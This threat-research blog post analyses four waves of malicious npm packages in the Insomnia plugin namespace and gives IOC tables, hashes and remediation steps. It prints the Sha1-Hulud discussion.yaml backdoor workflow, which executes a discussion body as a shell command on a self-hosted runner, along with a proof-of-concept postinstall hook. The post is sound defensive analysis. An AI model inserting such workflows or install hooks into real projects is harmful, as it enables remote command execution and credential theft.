CentrioleBlog
Back to blog

Threat Research

Six Years Between Versions: How the Insomnia Namespace Became a Recurring Attack Surface

Four independent waves across 46 months. Eight malicious packages. One shared attack surface: the insomnia-plugin-* naming convention that Kong never locked down.

Date

Reading time

15 min read

Author

Centriole Research
Share
Six Years Between Versions: How the Insomnia Namespace Became a Recurring Attack Surface

Six years and six months. That is the gap between the last clean release of insomnia-plugin-random-pick and the version that carried a full credential stealer. The account had been dormant since May 2019. The attacker did not create a new account. They took the existing one, published through its credentials, and let six years of legitimate install history do the trust work.

That single package is Wave 2. This post covers all four.


Campaign Cluster Map

Four waves, four independent operators, zero shared infrastructure. What they share is the target: the insomnia-plugin-* and insomnia-* naming convention used by the Kong-developed HTTP client’s community plugin ecosystem.

WavePackage(s)First Published (UTC)ClassificationPublisher
1insomnia-plugin-simple-hmac-auth2021-11-18T20:36:24ZFull compromise (npm security hold)Wiped; account removed
2insomnia-plugin-random-pick@1.0.42025-11-24T13:36:59ZSha1-Hulud worm, credential stealer, wormable propagationvesely (legitimate account, credential compromise)
3insomnia-api@99.x, insomnia-scripting-environment@99.x, insomnia-smoke-test@99.x2026-03-24T21:32:38ZDependency confusion probe (version 99.x against Kong internal names)Wiped; account removed
4insomnia-plugin-poc-m4gester, insomnia-plugin-poc-m4gester2, insomnia-test-util-m4gester2026-06-28T04:13:15ZProof-of-concept, postinstall arbitrary execution, self-labeled PWNED_BY_DEEPLINKUnpublished within 52 minutes

None of the four waves share a publisher account, email domain, C2 endpoint, payload file, or campaign string. This is not a single actor returning to the same namespace. It is four separate operators independently identifying the same gap: Kong publishes no verified publisher registry for its 350-plus community plugins, so any account can publish a package named insomnia-* and it lands in the same search results as legitimate tools.


Wave 1: insomnia-plugin-simple-hmac-auth (November 2021)

The registry record shows version 1.0.10 published on 2021-11-18. On 2022-07-21, npm replaced it with a 0.0.1-security holding package under the npm maintainer account, the standard registry intervention for packages requiring a security hold rather than clean unpublish. The OSSF advisory MAL-2022-3850 carries a single sha256 from the ghsa-malware origin: 82257b4c71933f16336920865f08941bf1fd250ffd06dd3e34a99e3319b78012.

The tarball is gone. No preserved copy was found in the OSSF repo, VirusTotal, or any archived source. The GHSA full-compromise notice (GHSA-c696-g9q3-6pc4) is the only payload signal available: “Any computer that has this package installed or running should be considered fully compromised.” npm’s decision to apply a security hold rather than allow clean unpublish confirms the package was treated as a serious compromise, not a low-severity advisory.

Name divergence check: the npm package name is insomnia-plugin-simple-hmac-auth. No README was present in the security-hold version. The name is semantically plausible as an Insomnia plugin, which is precisely the cover: HMAC authentication signing is a real use case for API testing, making this the most convincingly named package in the cluster.


Wave 2: insomnia-plugin-random-pick@1.0.4 (November 2025)

The Dormant Account Signal

Pulled from the registry metadata time field during triage: versions 1.0.1 through 1.0.3 were published between 14:05 and 14:14 UTC on 2019-05-30. Version 1.0.4 was published on 2025-11-24 at 13:36:59 UTC. The gap is six years, six months, and twenty-five days.

The _npmUser field on 1.0.4 shows the vesely account (email: jsem@davidvesely.cz). The attacker published through the legitimate account owner’s credentials. David Veselý is a Czech developer; the account also maintains @livecms/nuxt-live-edit, @vesely/ai-gateway-cli, and vue-browserupdate-nuxt. All packages outside the malicious version are clean.

A six-year-plus inter-version gap on a package that then immediately appears in a malicious-packages feed is credential compromise, not a new attacker account. The account owner is a victim.

Attribution: Sha1-Hulud 2.0

insomnia-plugin-random-pick appears by name in the Wiz Research IOC CSV for the Sha1-Hulud: The Second Coming campaign, published November 24, 2025. The Google Open Source Security team’s OSSF advisory states directly: “This package was compromised by the Sha1-Hulud: The Second Coming NPM worm. The malicious payload steals tokens and credentials and publishes them to GitHub. The worm will propagate itself to NPM packages the user owns and establish persistence as a GitHub action. The package may also destroy the user’s home directory.”

Attribution to the Sha1-Hulud campaign is confirmed by three independent sources: the OSSF advisory, the Wiz Research IOC list, and the StepSecurity post-mortem for the campaign. The specific actor behind Sha1-Hulud 2.0 was not confirmed by Wiz or StepSecurity at time of publication; Wiz noted payload differences from earlier Sha1-Hulud variants that leave actor attribution open.

Payload

The malicious version shipped two payload files recovered from the Wiz Research hash table for the campaign: bun_environment.js (SHA1: d60ec97eea19fffb4809bc35b91033b52490ca11) and setup_bun.js (SHA1: d1829b4708126dcc7bea7437c04d1f10eacd4a16). Execution triggers on preinstall, meaning the credential sweep runs before npm writes any package files to disk.

The payload targets AWS, Azure, and GCP credentials from local config files (~/.aws/credentials, ~/.azure/), environment variables, and cloud metadata services (IMDS). Exfiltration goes to attacker-controlled GitHub repositories created on the fly using stolen OAuth tokens. The campaign’s broader toolkit also established self-hosted GitHub Actions runners named SHA1HULUD and injected a discussion.yaml workflow functioning as a persistent backdoor: any GitHub discussion opened in a repository where the workflow is installed executes arbitrary commands on the infected machine via echo ${{ github.event.discussion.body }}. Wiz validated this backdoor in a controlled environment.

The backdoor survives package removal. A machine that installed 1.0.4 and has not had its GitHub workflows audited may still have the runner registered.

discussion.yaml: persistence workflow injected by Sha1-Hulud payload
name: Discussion Create
on:
  discussion:
jobs:
  process:
    env:
      RUNNER_TRACKING_ID: 0
    runs-on: self-hosted
    steps:
      - uses: actions/checkout@v5
      - name: Handle Discussion
        run: echo ${{ github.event.discussion.body }}

The workflow is the finding. Opening a GitHub discussion in any repository where this file was injected executes the discussion body as a shell command on the self-hosted runner.


Wave 3: insomnia-api, insomnia-scripting-environment, insomnia-smoke-test (March 2026)

The Version Anomaly

Three packages, all published at 99.0.0 and bumped to 99.0.1 within five hours. No legitimate package in the npm ecosystem reaches major version 99 through organic development. The version signal here is the attack: the attacker is publishing public packages at a version high enough to beat any private registry entry for the same name.

These names are not invented. They are taken verbatim from Kong’s internal Insomnia monorepo. insomnia-smoke-test appears in Kong’s GitHub release notes (“fix: prevent race condition in environment-editor smoke test”). insomnia-scripting-environment is a real internal module name. insomnia-api is a documented internal package name. None of the three have ever had a public npm presence under Kong’s control.

Name Divergence

Name divergence check on all three: the npm package names are insomnia-api, insomnia-scripting-environment, and insomnia-smoke-test. No README was present in any version. No name field divergence was recoverable from the unpublished tarballs. The names are identical to Kong’s internal names, which is itself the signal: a legitimate internal package would not appear on public npm under a 99.x version with no README and no author affiliation to Kong.

Classification: Dependency Confusion

The 99.0.0 version number on names matching Kong internal packages is a dependency confusion probe. The mechanism: if Kong’s private registry serves insomnia-api at any version below 99, npm’s default resolution picks the public registry’s 99.0.0 over the private one. Developers running npm install in a Kong environment with these internal packages declared as dependencies would pull the attacker’s version instead.

Whether this was a targeted probe against Kong specifically or a spray against anyone using these names internally cannot be determined: the tarballs were removed before external payload analysis. Both ReversingLabs (RLMA-2026-01974, RLMA-2026-01975, RLMA-2026-01976) and Amazon Inspector confirmed malicious content in the versions they analyzed. Neither published behavioral details.

Timeline

All three packages were published within a 90-second window starting at 2026-03-24T21:32:38Z. The second versions appeared between 01:50 and 01:51 UTC on 2026-03-25. All six versions were unpublished at 2026-03-25T02:37 UTC, approximately 40 minutes after the Amazon Inspector reports were imported into OSSF. The tight unpublish timing relative to detection import suggests the attacker was monitoring the OSSF feed and pulled the packages manually.

The live window was approximately five hours.


Wave 4: The m4gester Cluster (June 28, 2026)

Three packages published this morning, all unpublished within 52 minutes. The OSV advisory text from Amazon Inspector describes all three consistently: “self-identifies as a proof-of-concept exploit,” “consistent with a lure/PoC namespace-abuse shape.” The classification is postinstall_exec with proof-of-concept framing. This is not a criminal payload campaign.

Low-complexity waiver applied. The entire payload across all three packages is a single line of plaintext with no multi-stage chain, no obfuscation, and no secondary fetch. The structural anomaly -- the self-labeling, the timing, and what the label points at -- is the finding. No investigation narrative or pacing observation is forced.

Anatomy

All three packages contain only a package.json. No source files, no README, no plugin implementation. The insomnia-plugin-poc-m4gester description field is "test".

package.json: identical payload across all three Wave 4 packages
{
  "scripts": {
    "postinstall": "echo PWNED_BY_DEEPLINK > /tmp/pwned.txt"
  }
}

The string PWNED_BY_DEEPLINK is a self-attribution tag pointing at a specific attack surface: Insomnia’s insomnia:// custom URL scheme. The application registers this URL scheme to handle deep links from external sources, including plugin installation triggers. A crafted insomnia:// link directing the client to install a plugin from npm executes the plugin’s postinstall hook without a developer typing npm install in a terminal. The Kong/insomnia release notes include a commit specifically addressing deep link handling: “fix: enhance deep link handling in insomniaFetch function in main.” The m4gester packages are probing whether that fix is complete.

Version Timeline

PackageVersionPublished (UTC)Notes
insomnia-test-util-m4gester1.0.02026-06-28T04:13:15ZFirst publish in cluster
insomnia-test-util-m4gester1.0.12026-06-28T04:16:46ZSecond version 3.5 min later; content identical
insomnia-plugin-poc-m4gester1.0.02026-06-28T04:19:46ZSecond package; description: “test”
insomnia-plugin-poc-m4gester21.0.02026-06-28T04:56:32ZThird package; 37 min gap suggests separate account
insomnia-plugin-poc-m4gester21.0.12026-06-28T04:59:25ZRapid iteration
insomnia-plugin-poc-m4gester21.0.22026-06-28T05:04:25ZFinal version before unpublish

The 37-minute gap between insomnia-plugin-poc-m4gester and insomnia-plugin-poc-m4gester2 combined with the 2 suffix indicates a second account. Two separate accounts, the same payload, the same namespace, the same morning. That is either coordinated research or two independent researchers reaching the same conclusion simultaneously. Nothing in the registry metadata links the two accounts.


The Structural Attack Surface

Kong’s Insomnia ships with a custom URL scheme (insomnia://) that can trigger plugin installation from npm without a developer running npm install directly. The plugin ecosystem draws on npm’s insomnia-plugin-* namespace with no publisher verification: any npm account can publish a package matching the convention and it appears in Insomnia’s plugin search. The application had an unpatched or partially patched deep-link handling issue (CVE-2025-1087, CVSS 9.3) that allowed arbitrary code execution through the Nunjucks templating engine in addition to the install-time vector the m4gester packages probe.

Four independent actors have now identified this combination. The specific risk per wave: Wave 1 was a direct namespace squat with an unknown payload. Wave 2 was a credential-compromise of a real plugin author enabling trust-based delivery. Wave 3 was a dependency confusion probe targeting Kong’s own build environment. Wave 4 is a proof-of-concept demonstrating that the deep-link install path executes postinstall hooks without terminal interaction.

The install-time code execution primitive requires no user consent beyond clicking a link.


OPSEC Failures

Wave 4 names its packages poc-m4gester and test-util-m4gester. An attacker who wanted dwell time would use a plausible name. The m4gester handle is either intentional branding for security research or a researcher with no interest in concealment. Either way, it made the packages trivially identifiable and ensured detection within minutes.

Wave 3 published to 99.x versions. If the intent was dependency confusion, the version served its purpose. If the intent was namespace squatting for later use, 99.x was the worst possible choice: it matches no organic version cadence and flags immediately in any version anomaly check.


IOC Table

IndicatorTypeValueWaveMethod
insomnia-plugin-simple-hmac-authnpm packageAll versions; 0.0.1-security holds the name1Triage; GHSA-c696-g9q3-6pc4 confirmed malicious
insomnia-plugin-random-picknpm package1.0.4 only; 1.0.3 and earlier are clean2Triage; MAL-2025-191111; confirmed in Wiz IOC CSV
bun_environment.jsPayload fileSHA1: d60ec97eea19fffb4809bc35b91033b52490ca112Recovered from Wiz Research hash table for Sha1-Hulud 2.0
setup_bun.jsPayload fileSHA1: d1829b4708126dcc7bea7437c04d1f10eacd4a162Recovered from Wiz Research hash table for Sha1-Hulud 2.0
SHA1HULUDRunner nameSelf-hosted GitHub Actions runner name injected by payload2Recovered from Wiz Research payload analysis
.github/workflows/discussion.yamlPersistence artifactBackdoor workflow injected by Sha1-Hulud payload2Recovered from Wiz Research payload analysis
vesely / jsem@davidvesely.czCompromised npm accountWave 2 publisher; legitimate account credential-compromised2Pulled from registry metadata _npmUser field
insomnia-apinpm package99.0.0, 99.0.13Triage; MAL-2026-2773; confirmed by ReversingLabs RLMA-2026-01974 and Amazon Inspector
insomnia-scripting-environmentnpm package99.0.0, 99.0.13Triage; MAL-2026-2774; confirmed by ReversingLabs RLMA-2026-01975 and Amazon Inspector
insomnia-smoke-testnpm package99.0.13Triage; MAL-2026-2775; confirmed by ReversingLabs RLMA-2026-01976 and Amazon Inspector
insomnia-plugin-poc-m4gesternpm package1.0.04Triage; MAL-2026-6552; Amazon Inspector IN-MAL-2026-007692
insomnia-plugin-poc-m4gester2npm package1.0.0, 1.0.14Triage; MAL-2026-6553; Amazon Inspector IN-MAL-2026-007691, IN-MAL-2026-007695
insomnia-test-util-m4gesternpm package1.0.0, 1.0.14Triage; MAL-2026-6554; Amazon Inspector IN-MAL-2026-007693, IN-MAL-2026-007694
echo PWNED_BY_DEEPLINK > /tmp/pwned.txtPayload commandPostinstall shell command4Extracted verbatim from package.json scripts field per OSV advisory
/tmp/pwned.txtMarker fileCreated on install4Traced from postinstall command

Affected Versions Table

PackageVersionPublished (UTC)SHA256StatusWaveOSV
insomnia-plugin-simple-hmac-auth1.0.102021-11-18T20:36:24Z82257b4c71933f16336920865f08941bf1fd250ffd06dd3e34a99e3319b78012Security hold1MAL-2022-3850
insomnia-plugin-random-pick1.0.42025-11-24T13:36:59Z8717488a1afc3be853313a0f8f243fa748188c0b321d8c9096182cf59bfbb1edRemoved; 1.0.3 is current clean version2MAL-2025-191111
insomnia-api99.0.02026-03-24T21:32:38Zc7adcb182b0b8a57e138a7cb0a53e64e34a89f23d5db32756fc0f4ec18cd0465Unpublished3MAL-2026-2773
insomnia-api99.0.12026-03-25T01:50:04Z62ef28a051caf1396ddc2679da2de7e5ee5786101e51a8b3b01cab3c68b60235Unpublished3MAL-2026-2773
insomnia-scripting-environment99.0.02026-03-24T21:32:42Zda106be90cd78f3e1b70b850b6a3329e7992e19d048cddbd20e6255398021200Unpublished3MAL-2026-2774
insomnia-scripting-environment99.0.12026-03-25T01:51:39Z90158c0646becc6150eb35f91ee1745112800326a31fa588807b0de4ac631b95Unpublished3MAL-2026-2774
insomnia-smoke-test99.0.12026-03-25T01:51:34Zd20f87230976f7fcf435b5b1634ece69387ac24c3965ac13143b99a96269264fUnpublished3MAL-2026-2775
insomnia-plugin-poc-m4gester1.0.02026-06-28T04:19:46Z0eb7024d158c345559d9f130ba3a6b52563328467ec6bb560e196e5c7bc9b955Unpublished4MAL-2026-6552
insomnia-plugin-poc-m4gester21.0.02026-06-28T04:56:32Za07696df593b382127f1eedea455af911e9e94591c0526d0b191576b411decf9Unpublished4MAL-2026-6553
insomnia-plugin-poc-m4gester21.0.12026-06-28T04:59:25Z1b2b63f22e7d0d8f23c608a3c109163e06e2bd6a1dd716305e0d8adaf6be6b86Unpublished4MAL-2026-6553
insomnia-test-util-m4gester1.0.02026-06-28T04:13:15Z3af3f61639cfac47d91b75ec177ce18a07c29535b0f39806a286093e739494c8Unpublished4MAL-2026-6554
insomnia-test-util-m4gester1.0.12026-06-28T04:16:46Zfda634406b6f4fd97c572c7d4a52d6e3201932fea144a157e955aa16fa394da4Unpublished4MAL-2026-6554

Remediation

Wave 2 (insomnia-plugin-random-pick@1.0.4): Search lockfiles for this exact version. If found, treat the host as fully compromised. From a clean machine: rotate all npm tokens, GitHub PATs, AWS/GCP/Azure credentials, and SSH keys. Search your GitHub organization for repositories with SHA1HULUD as a registered runner name. Audit all .github/workflows/ directories for discussion.yaml files not committed by your team; this workflow survives package removal and must be deleted manually. Run npm cache clean --force && rm -rf node_modules and reinstall pinned to 1.0.3 or earlier.

Wave 3 (insomnia-api@99.x, insomnia-scripting-environment@99.x, insomnia-smoke-test@99.x): Search lockfiles for any 99.x version of these three names. If found, the install window was 2026-03-24T21:32 through 2026-03-25T02:37 UTC. Treat any build or install touching these packages during that window as potentially compromised. Rotate credentials accessible from that environment. The payloads were confirmed malicious but behavioral details were not published; assume full-access capability.

Wave 4 (m4gester packages): Check for /tmp/pwned.txt. If present, confirm the install source. The published payload did no further damage. The risk is a future version with an upgraded payload published before detection; that did not occur. Lock ignore-scripts=true in .npmrc for any CI environment that does not require lifecycle hooks.

For any team using Insomnia’s plugin ecosystem: audit which plugins are installed, verify each publisher account against the Kong organization on npm, and pin all plugin versions in lockfiles. Until Kong implements a verified publisher registry for community plugins, the namespace remains open to any operator who identifies it.